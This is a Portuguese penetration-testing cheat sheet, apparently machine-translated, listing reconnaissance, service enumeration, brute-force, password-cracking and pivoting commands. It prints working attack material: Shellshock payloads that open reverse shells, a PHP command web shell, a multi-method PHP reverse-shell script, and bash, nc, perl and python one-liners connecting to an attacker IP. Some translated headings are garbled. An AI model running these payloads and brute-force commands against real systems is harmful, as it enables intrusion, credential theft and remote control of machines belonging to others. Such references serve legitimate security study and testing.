Teste de penetração de rede

Encontre servidores de nomes
$ host -t ns guif.re
Encontre servidores de email
$ host -t mx guif.re
Bruteforcing subdomínio
$ for ip in $(cat list.txt); do host $ip.guif.re; done
Pesquisa reversa de DNS reverso
$ for ip in $(seq 155 190);do host 50.7.67.$ip;done |grep -v "not found"
Pedido de transferência de zona
$ host -l guif.re ns1.guif.re
$ dnsrecon -d guif.re -t axfr
Localiza servidores de nomes para um determinado domínio
$ host -t ns guif.re | cut -d " " -f 4 #
$ dnsenum guif.re
Varredura de transferência de zona Nmap
$ nmap guif.re --script=dns-zone-transfer -p 53
Localiza os nomes de domínio para um host.
$ whois guif.re
Encontre o IP e os servidores autorizados.
$ nslookup guif.re
Localiza entradas DNS de configuração incorreta.
$ host -t ns guif.re
TheHarvester encontra subdomínios no google, bing, etc
$ python theHarvester.py  -l 500 -b all -d guif.re
Automatizado:
#!/bin/bash
nmap $1 -F                  # first, quick scan
nmap -sV -A -O -T4 -sC $1   # verify services, Os, run scripts
nmap -p 1-65535 -T5 -sT $1  # scan all ports TCP
nmap -p 1-10000 -T4 -Su $1  # UDP scan
Verificar todas as 65536 portas TCP / UDP, o nmap faz apenas 1000 primeiras portas por padrão
Encontre anfitriões vivos
nmap -sP 192.168.0.1/24
Varredura de portas abertas (lenta)
$ nmap -p 1-65535 -T4 -sS $ip
Serviços encontrando enumeartion
$ sudo nmap -sV -A -O -T4 $ip
Varredura do aperto de mão 3way
$ nmap -nvv -w 1 IP 22-8
Varredura UDP
$ nmap -nvv -sU -w 1 $ip 22-81
A varredura UDP consiste em enviar um pacote UDP vazio. Aberto: responda de volta. Fechado: o pacote inacessível do ICMP é recebido
ARP Scan
$ arp-scan 10.10.10.1/28 -I eth0
Varredura de ping do Nmap
$ sudo nmap -sn -oA nmap_pingscan 10.10.10.1/24
Nmap SYN / Top 100 portas de varredura
$ nmap -sS -F -oA nmap_fastscan 10.10.10.1/24
Varredura de versões de serviços
$ nmap -sV $ip
Execute os scripts padrão e a varredura de porta normal em todas as portas encontradas
$ nmap -sC $ip
Execute todos os scripts de varredura nmap contra as portas encontradas.
$ nmap -Pn -sV -O -pT:{TCP ports found},U:{UDP ports found} --script *vuln* $ip
Varredura de porta com relatório de arquivo:
$ nmap -Pn -sS --stats-every 3m --max-retries 1 --max-scan-delay 20 --defeat-rst-ratelimit -T4 -p1-65535 -oA /root/192_168_15_201T 192.168.15.201
Varredura completa de vulnerabilidades:
$ mkdir /usr/share/nmap/scripts/vulnscan; cd /usr/share/nmap/scripts/vulnscan; git clone https://github.com/scipag/vulscan.git; nmap -sS -sV --script=/usr/share/nmap/scripts/vulnscan/vulscan.nse $ip
Identifique serviços desconhecidos
$ amap -d $ip <port>
SMB
Versões 1,2,3. TCP 139, 445 e muitas portas UDP.
Enumeração
$ nmblookup -A $ip
$ enum4linux -a $ip
Versões Samba 2.2.x são bandeira vermelha
Uma sessão SMB nula pode ser usada para coletar senhas e informações úteis do SMB 1.
Sessão nula e extrair informações.
$ nbtscan -r $ip
Versão
msfconsole; use scanner/smb/smb_version; set RHOSTS $ip; run
MultiExploit
msfconsole; use exploit/multi/samba/usermap_script; set lhost 192.168.0.X; set rhost $ip; run
Enum rápido:
$ nmap --script=smb-enum* --script-args=unsafe=1 -T5 $ip
Varredura vuln rápida:
$ nmap --script=smb-vuln* --script-args=unsafe=1 -T5 $ip
Enum completo e varredura vuln:
$ nmap --script=smb2-capabilities,smb-print-text,smb2-security-mode.nse,smb-protocols,smb2-time.nse,smb-psexec,smb2-vuln-uptime,smb-security-mode,smb-server-stats,smb-double-pulsar-backdoor,smb-system-info,smb-vuln-conficker,smb-enum-groups,smb-vuln-cve2009-3103,smb-enum-processes,smb-vuln-cve-2017-7494,smb-vuln-ms06-025,smb-enum-shares,smb-vuln-ms07-029,smb-enum-users,smb-vuln-ms08-067,smb-vuln-ms10-054,smb-ls,smb-vuln-ms10-061,smb-vuln-ms17-010,smb-os-discovery --script-args=unsafe=1 -T5 $ip
Enum completo e varredura vuln:
$ nmap -p139,445 -T4 -oN smb_vulns.txt -Pn --script 'not brute and not dos and smb-*' -vv -d $ip
Monte:
$ smbclient //$ip/share -U username
Montagem anônima:
$ smbclient //$ip/share # hit enter with blank password
Vale a pena testar eternalblue
Bruteforce
$ hydra -l administrator -P /usr/share/wordlists/rockyou.txt -t 1 $ip smb
Qualquer metaploit explorado através do Netbios sobre TCP em 139, você precisa definir:
>  set SMBDirect false
Netbios
Descarregando a tabela netbios:
$ nmap -Pn -sUC -p137 $ip
 NFS
Mostrar todas as montagens
$ showmount -e $ip
Montar um compartilhamento NFS
$ mount $ip:/vol/share /mnt/nfs
 Rede
$ nikto -host $ip
$ wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web_Content/Top1000-RobotsDisallowed.txt; gobuster -u http://$ip -w Top1000-RobotsDisallowed.txt
$ wfuzz -c -z list.txt --sc 200 http://$ip
Descoberta de diretório
$ dirb $ip /usr/share/wordlists/dirb/common.txt
$ gobuster -w /usr/share/wordlists/dirb/common.txt -u $ip
$ gobuster -u http://$ip/  -w /usr/share/seclists/Discovery/Web_Content/common.txt -s '200,204,301,302,307,403,500' -e
$ gobuster -u http://$ip/ -w /usr/share/seclists/Discovery/Web_Content/cgis.txt -s '200,204,403,500' -e
$ cd /root/dirsearch; python3 dirsearch.py  -u http://$ip/ -e .php
Bandeira, agarrar
./whatweb $ip # identifies all known services
Teste de métodos
$ nmap --script http-methods --script-args http-methods.url-path='/test' $ip
Autenticação de Bruteforcing
$ hydra 10.0.0.1 http-post-form "/admin.php:target=auth&mode=login&user=^USER^&password=^PASS^:invalid" -P /usr/share/wordlists/rockyou.txt -l admin
Análise de vulnerabilidade:
$ nikto -host http://$ip
$ nmap --script=http-vuln* $ip
Teste contra o SQLI
sqlmap -u "http://$ip/?query" --data="user=foo&pass=bar&submit=Login" --level=5 --risk=3 --dbms=mysql
Varredura de vulnerabilidade do ColdFusion
$  nmap -v -p 80 --script=http-vuln-cve2010-2861 $ip
Autenticação Básica do Bruteforce
$ hydra -l user -P /usr/share/wordlists/rockyou.txt -f $ip http-get /path
WebDav
teste
$ davtest -move -sendbd auto -url http://$ip:8080/webdav/
$ cadaver http://$ip:8080/webdav/
 Mysql
$ nmap -sV -Pn -vv --script=mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 $ip -p 3306
Varredura Nmap
$ nmap -sV -Pn -vv -script=mysql* $ip -p 3306
Varredura Vuln:
$ sqlmap -u 'http://$ip/login-off.asp' --method POST  --data 'txtLoginID=admin&txtPassword=aa&cmdSubmit=Login' --all --dump-all
Se o Mysql está rodando como root e você tem acesso, você pode executar comandos:
mysql> select do_system('id');
mysql> \! sh
MsSql
Enumerar servidores MSSQL na rede
msf > use auxiliary/scanner/mssql/mssql_ping
$ nmap -sU --script=ms-sql-info $ip
Bruteforce MsSql
msf auxiliary(mssql_login) > use auxiliary/scanner/mssql/mssql_login
Ganhar shell usando credenciais reunidas
msf > use exploit/windows/mssql/mssql_payload
    msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
Faça o login em um servidor MsSql:
# root@kali:~/dirsearch# cat ../.freetds.conf
[someserver]
host = $ip
port = 1433
tds version = 8.0
user=sa

root@kali:~/dirsearch# sqsh -S someserver -U sa -P PASS -D DB_NAME
 Redis
Enumerar:
$ nmap -p6379 --script redis-info $ip
Cliente:
$ redis-cli -h $ip
 Memcached
Enumerar:
$ nmap -p11211 --script memcached-info $ip
Extrair dados:
msf > use auxiliary/gather/memcached_extractor
 SMTP
Sempre fazer enumeração de usuários
smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t $ip
>use auxiliary/scanner/smtp/smtp_enum
Comando para verificar se existe um usuário
>VRFY root
Comando para perguntar ao servidor se um usuário pertence a uma lista de discussão
>EXPN root
Enumeração e varredura vuln:
$ nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 $ip
Bruteforce
$ hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V
Enumeração de usuário Metasploit
use auxiliary/scanner/smtp/smtp_enum
Teste para retransmissão aberta
telnet $ip 25
EHLO root
MAIL FROM:root@target.com
RCPT TO:example@gmail.com
DATA
Subject: Testing open mail relay.
Testing SMTP open mail relay. Have a nice day.
.
QUIT
 RPC (135)
Enumerar, mostra se alguma montagem do NFS foi exposta:
$ rpcinfo -p $ip
$ nmap $ip --script=msrpc-enum
msf > use exploit/windows/dcerpc/ms03_026_dcom
 Enumeração FTP
Enumerar:
$ nmap --script=ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 $ip
Bruteforce
$ hydra -l user -P /usr/share/john/password.lst ftp://$ip:21
Bruteforce com metasploit
$ msfconsole -q
msf> search type:auxiliary login
msf> use auxiliary/scanner/ftp/ftp_login
Varredura Vuln
$  nmap --script=ftp-* -p 21 $ip
 TFTP
Se o acesso não autenticado for permitido com permissões de gravação, você poderá fazer o upload de um shell:
$ tftp $ip
tftp> ls
?Invalid command
tftp> verbose
Verbose mode on.
tftp> put shell.php
Sent 3605 bytes in 0.0 seconds [inf bits/sec]
 SSH
Enumeração de usuário
msf > use auxiliary/scanner/ssh/ssh_enumusers
$ python /usr/share/exploitdb/platforms/linux/remote/40136.py -U /usr/share/wordlists/metasploit/unix_users.txt $ip
Bruteforce
$ hydra -v -V -l root -P password-file.txt $ip ssh
Com lista de usuários:
$ hydra -v -V -L user.txt -P /usr/share/wordlists/rockyou.txt -t 16 192.168.33.251 ssh
Você pode usar * -w * para diminuir a velocidade
 SSL
Abra uma conexão
$ openssl s_client -connect $ip:443
Verificação básica de cifras SSL
$ nmap --script ssl-enum-ciphers -p 443 $ip
Procure cifras inseguras como Triple-DES e Blowfish
Ferramenta muito completa para auditoria de SSL é testssl.sh, encontra BEAST, FREAK, POODLE, heart bleed, etc ...
 Protocolo Simples de Gerenciamento de Rede (SNMP)
É um protocolo de rede usado para coletar a organização e troca de informações entre dispositivos de rede
Funciona em switches gerenciados, roteadores e SOs de servidor para fins de monitoramento. O SNMP é acessado ao fornecer uma string de comunidade válida dentro de um datagrama UDP para a porta 161. Geralmente, é público. Versões 1,2 e 3. Você pode ver os processos em execução, portas abertas, usuários, versão do Windows, software instalado.
Enumeração
$ for community in public private manager; do snmpwalk -c $community -v1 $ip; done
$ snmpwalk -c public -v1 $ip
$ snmpenum $ip public windows.txt
Menos barulhento:
$ snmpwalk -c public -v1 $ip 1.3.6.1.4.1.77.1.2.25
Baseado em UDP, sem estado e suscetível a spoofing UDP
$ nmap -sU --open -p 16110.1.1.1-254 -oG out.txt
$ snmpwalk -c public -v1  10.1.1.1 # we need to know that there is a community called public
$ snmpwalk -c public -v 2c  10.1.1.1 # version 2
    *$ snmpwalk -c public -v1 192.168.11.204 1.3.6.1.4.1.77.1.2.25 # enumerate windows users
$ snmpwalk 5c public 5v1 192.168.11.204 1.3.6.1.2.1.25.4.2.1.2 # enumerates running processes
$ nmap -vv -sV -sU -Pn -p 161,162 --script=snmp-netstat,snmp-processes $ip
$ snmp-check -t $ip -c public
Bruteforce os nomes da comunidade:
$ onesixtyone -c dict.txt -i $ip
Contra cisco:
use auxiliary/scanner/snmp/cisco_config_tftp
 POP3
Autenticação de teste:
telnet $ip 110
USER uer@$ip
PASS admin
list
retr 1
 Dedo
Enumeração de usuários
$ finger-user-enum.pl -U users.txt -t $ip
 RDP
Bruteforce
$ ncrack -vv --user administrator -P password-file.txt rdp://$ip
$ hydra -t 4  -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip
 RPC
Enum
$ nmap $ip --script=msrpc-enum
Explorar:
msf > use exploit/windows/dcerpc/ms03_026_dcom
 Kerberos
Teste MS14-068
 LDAP
Enumeração:
$ ldapsearch -h $ip -p 389 -x -b "dc=mywebsite,dc=com"
 Kerberos
É executado na porta 88, porta de gerenciamento de senha 464.
Detecção de rede passiva:
$ kerbcrack
Enumeração do usuário:
$ nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm=research $ip
Extração de senha de memória (passe o ticket):
$ Mimikatz
 Enumeração de endereços de email
Encontre e-mails no google, bing, pgp etc
$ theharvester -d $ip -b google
Informações de contato para os domínios que hospedam
$ whois $ip
Encontre e-mails e nome do funcionário com Recon-ng:
$ recon-ng; use module; set DOMAIN $ip; run;
recon/contacts/gather/http/api/whois_pocs
Encontrar xss publicado ad xssed.co
recon/hosts/enum/http/web/xssed
Encontrar subdomínio
recon/hosts/gather/http/web/google_site
Localiza IPs próximos ao domínio e possíveis novos domínios
recon/hosts/gather/http/web/ip_neighbor
 pesquisa do Google
site: xxx -site: www.xxx
filetype: procure documentos específicos, pdf, docx, etc.
inurl
intitle
Outros https://www.exploit-db.com/google-hacking-database/
 Análise de vulnerabilidade
Vulnerabilidades de serviços de pesquisa
$ searchsploit --exclude=dos -t apache 2.2.3
$ msfconsole; > search apache 2.2.3
$ nmap -v -T4 --script="*-vuln-*" $ip
O nmap possui muitos scripts NSE de varredura de vulnerabilidades em / usr / share / nmap / scripts /
OpenVAS
Scanner de vulnerabilidade poderoso com milhares de verificações de digitalização. Configuração:
$ openvas-setup; openvas-adduser; gsd
 Quebra de senha
MD5 32 caracteres hexadecimais.
SHA-1 40 caracteres hexadecimais.
SHA-256 64 caracteres hexadecimais.
SHA-512 128 caracteres hexadecimais.
Encontre o tipo de hash:
$ hash-identifier
Encontre o tipo de hash em https://hashkiller.co.uk
Rodar o john irá dizer-lhe o tipo de hash, mesmo que você não queira quebrá-lo:
$ john hashes.txt
Cole o arquivo / etc / shadow inteiro no arquivo e execute
$ john hashes.txt
Cole o arquivo / etc / shadow inteiro no arquivo e execute
$ john hashes.txt
Quebra de GPU:
$ hashcat -m 500 -a 0 -o output.txt -remove hashes.txt /usr/share/wordlists/rockyou.txt
Cisão da CPU:
$ john --wordlist=/usr/share/wordlists/rockyou.txt 127.0.0.1.pwdump
Craqueamento * / etc / shadow *:
$ unshadow /etc/passwd /etc/shadow /tmp/combined; john --wordlist=<any word list> /tmp/combined
Gerando listas de palavras
$ crunch 6 6 0123456789ABCDEF 5o crunch1.txt
Tabelas online de arco-íris:
https://crackstation.net/
http://www.cmd5.org/
http://crackhash.com/
https://hashkiller.co.uk/md5-decrypter.aspx
https://www.onlinehashcrack.com/
http://rainbowtables.it64.com/
http://www.md5online.org/
 Transferindo arquivos
O primeiro passo depois de obter acesso a uma máquina remota é fazer o upload de novas ferramentas.
Ferramentas do Linux: netcat, curl, wget
Windows: ftp, tftp, script de shell de energia para ecoar e escrever.
Faça o download do arquivo com curl:
$ curl -O http://host/file
Carregar um arquivo com put:
$ curl --upload-file shell.php --url http://$ip/shell.php --http1.0
Inicie um servidor da web em seus arquivos de veiculação da máquina local na pasta atual:
$ python -m SimpleHTTPServer
$ php -S $ip:80
Envie arquivos usando comandos diferentes:
$ nc -nlvp 4444 > incoming.exe
Como um servidor FTP, o metasploit foi construído em um:
use auxiliary/server/ftp
auxiliary/server/tftp
Servidor de compartilhamento SMB:
python smbserver.py WORKSPACE /dir
Curl colocar:
$ curl -T 'file' 'http://$ip'
Linux, montando um compartilhamento de samba:
smbclient -L 1.1.1.1 --no-pass
 Trauma pós guerra
A ferramenta a seguir irá testá-lo.
$ git clone https://github.com/nccgroup/shocker; cd shocker; ./shocker.py -H $ip  --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose;  ./shocker.py -H $ip  --command "/bin/cat /etc/passwd" -c /cgi-bin/admin.cgi --verbose
Você também pode:
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc $ip 80
$ curl -x TARGETADDRESS -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/HOSTIP/1234 0>&1" $ip/cgi-bin/status
Shellshock sobre SSH:
$ ssh username@$ip '() { :;}; /bin/bash'
 HeartBleed
Testar servidor da web
$ sslscan $ip:443
 Tunelando seu tráfego através de outro host
$ sshuttle -r root@$ip 10.10.10.0/24
 Encaminhamento de porta
O tipo mais simples de redirecionamento de tráfego consiste em aceitar tráfego de um endereço e porta de porta e redirecioná-lo para outro endereço e porta.
Pode ser útil ignorar filtros baseados em endereços e portas. O Rinetd é uma ferramenta do Linux para fazer isso.
 Encaminhamento de porta local
Cria um encapsulamento criptografado por meio de duas máquinas e redireciona o tráfego para um host e uma porta final, semelhante ao encaminhamento de porta. Isso é útil quando você está tentando se conectar da sua máquina a um destino usando um gateway. A sintaxe é:
$ ssh gateway_host -L local_port:remote_host:remote_port
Mais tarde, você pode criar uma sessão SSH para a porta local e ter um SSH encapsulado no destino:
$ ssh hop_machine -L 31337:banned_machine:22
$ ssh -p 31337 localhost
 Encaminhamento de porta remota
Ele cria um túnel a partir da máquina de destino para sua máquina local, o que permite conectar-se a uma porta arbitrária no destino. Útil se o destino estiver em uma rede não roteável de sua máquina local. Isso é útil quando você está tentando se conectar a um host, atrás de um firewall que bloqueia conexões de entrada. Essa técnica funciona como a anterior, mas a conexão é iniciada a partir do gateway. A sintaxe é:
$ ssh <gateway> -R <remote port to bind>:<local host>:<local port>
 Encaminhamento Dinâmico de Portas
Permite criar um túnel a partir do destino para sua máquina e ter o tráfego roteado para qualquer host por meio do destino. Você pode configurar uma porta local para encaminhar o tráfego para vários destinos passando por um único host. É semelhante ao encaminhamento de porta local, mas permite vários destinos. Ele usa o protocolo SOCKS. A sintaxe é:
$ ssh -D local_port remote_add
A conexão do comando anterior é estabelecida na porta 22 do addr remoto.
 Pivotante
1. solte 3proxy.exe
2. Configure um arquivo de configuração:
 allow *_
internal IP_SAME_NETWORK
external IP_OTHER_NETWORK
socks -p1081
3. Adicione a * / etc / proxychains.conf *:
socks4  IP_SAME_NETWORK 1081
4. Digitalize:
$ proxychains nmap -sT -Pn IP_OTHER_NETWORK-250 --top-ports=5
 Duplo giro
Girando através de duas redes diferentes:
Primeiro, crie um encaminhamento de porta dinâmico pela primeira rede:
$ ssh -f -N -D 9050 root@10.1.2.1
Edite * / etc / proxychains.conf * e adicione como gateway padrão:
socks4 127.0.0.1 9050
Use o proxy para criar uma segunda porta dinâmica para a segunda rede:
$ proxychains ssh -f -N -D 10050 root@10.1.2.1 -p 22
Edite novamente * / etc / proxychains.conf * e adicione como gateway padrão:
socks4 127.0.0.1 10050
Agora você pode usar proxychains para dinamizar a rede de destino:
$ proxychains nmap -sTV -n -PN 10.1.2.1 -254
 CVEs
http://www.cvedetails.com/
https://www.exploit-db.com/
 Internet Explorer 6
Vulnerável à exploração msf (ms10_002_aurora)
 Listas
/usr/share/seclists/
/usr/share/wordlist/
/usr/share/metasploit-framework/data/wordlists/
 Servidor web mínimo
$ for i in 1 2 3 4 5 6 7; do echo -e '200 OK HTTP/1.1\r\nConnection:close\r\n\r\nfoo\r\n' |nc -q 0 -klvvp 80; done
 Cartuchos
PHP
<?php echo '<pre>'; echo shell_exec($_GET['cmd']); echo '</pre>'; ?>
Conchas de Kali
/usr/share/webshells/...
/usr/share/webshells/php/php-reverse-shell.php
 Conchas reversas
Se as conexões caírem ou não puderem ser estabelecidas, tente portas diferentes 80,443,8080 ...
Melhor shell reverso do PHP:
<?php
echo 'running shell';
$ip='YOUR_IP';
$port='YOUR_PORT';
$reverse_shells = array(
    '/bin/bash -i > /dev/tcp/'.$ip.'/'.$port.' 0<&1 2>&1',
    '0<&196;exec 196<>/dev/tcp/'.$ip.'/'.$port.'; /bin/sh <&196 >&196 2>&196',
    '/usr/bin/nc '.$ip.' '.$port.' -e /bin/bash',
    'nc.exe -nv '.$ip.' '.$port.' -e cmd.exe',
    "/usr/bin/perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"".$ip.":".$port."\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'",
    'rm -f /tmp/p; mknod /tmp/p p && telnet '.$ip.' '.$port.' 0/tmp/p',
    'perl -e \'use Socket;$i="'.$ip.'";$p='.$port.';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\''
);
foreach ($reverse_shells as $reverse_shell) {
   try {echo system($reverse_shell);} catch (Exception $e) {echo $e;}
   try {shell_exec($reverse_shell);} catch (Exception $e) {echo $e;}
   try {exec($reverse_shell);} catch (Exception $e) {echo $e;}
}
system('id');
?>
Usando o netcat
nc <attacker_ip> <port> -e /bin/bash
Usando bash e soquetes TCP
/bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1
Usando sh e soquetes TCP
0<&196;exec 196<>/dev/tcp/<attacker_ip>/<port>; sh <&196 >&196 2>&196
Usando telnet
telnet <attacker_ip> <1st_port> | /bin/bash | telnet <attacker_ip> <2nd_port>
PHP e sh
php -r '$sock=fsockopen("<attacker_ip>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'
Perl e sh
perl -e 'use Socket;$i="<attacker_ip>";$p=<port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Bifurcação Perl:
$ perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ip:port");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker_ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Inversa shell com script de python:
#!/usr/bin/python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("IP",port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
 Proxy
Protocolos
http://
http://
connect://
sock4://
sock5://
 PPTP
O protocolo de encapsulamento ponto-a-ponto fornece acesso remoto a dispositivos móveis, usa a porta TCP 1723 para troca de chaves e o protocolo IP 47 (GRE) para criptografar dados entre pares.
Enumeração:
$ nmap –Pn -sSV -p1723 $ip
Bruteforce:
$ cat dic.txt | thc-pptp-bruter –u admin $ip
 IPsec
Tenta resolver os problemas de confidencialidade / integridade do protocolo IP. Ele fornece HMAC da origem e criptografa os dados.
Você pode encontrar hosts que suportem o Ipsec com:
$ ike-scan -q $iprange
Valide o seguinte:
O grupo DH pode ser inseguro, permitindo a decifração passiva.
A chave pré-compartilhada (PSK) pode estar quebrada.
Obtendo o XAUTH uma vez que o PSK é conhecido.
Para mais informações, consulte https://www.trustwave.com/Resources/SpiderLabs-Blog/Cracking-IKE-Mission-Improbable-(Part-1)/ .
 TLS
Enumerando Protocolos Suportados e Conjuntos de Cifras
$ python prober.py $ip
Enumerando recursos e extensões suportados
$ nmap --script ssl-enum-ciphers -p443
Revisão de certificado
$ nmap -p443 --script ssl-cert
Você deve validar isso:
O nome comum (CN) do assunto X.509 está correto para o serviço
O emissor é respeitável e a cadeia de certificados é válida
Os valores de chave pública RSA ou DSA são maiores que 2.048 bits
Os parâmetros públicos de DH são maiores que 2.048 bits
O certificado é válido e não expirou
O certificado é assinado usando o SHA-256
Vulnerabilidades:
POODLE contra cifras do modo CBC dentro do SSL 3.0
BEAST contra cifras do modo CBC via TLS 1.0
Bytes de bytes em cifras RC4 em todas as versões do protocolo SSL e TLS
Valide se a chave foi gerada com entropia fraca:
$ nmap -p443 --script ssl-known-key $1
Teste de failback:
$ openssl s_client -connect $ip -no_tls1_2 -fallback_scsv
Teste Dos:
$ thc-ssl-dos $ip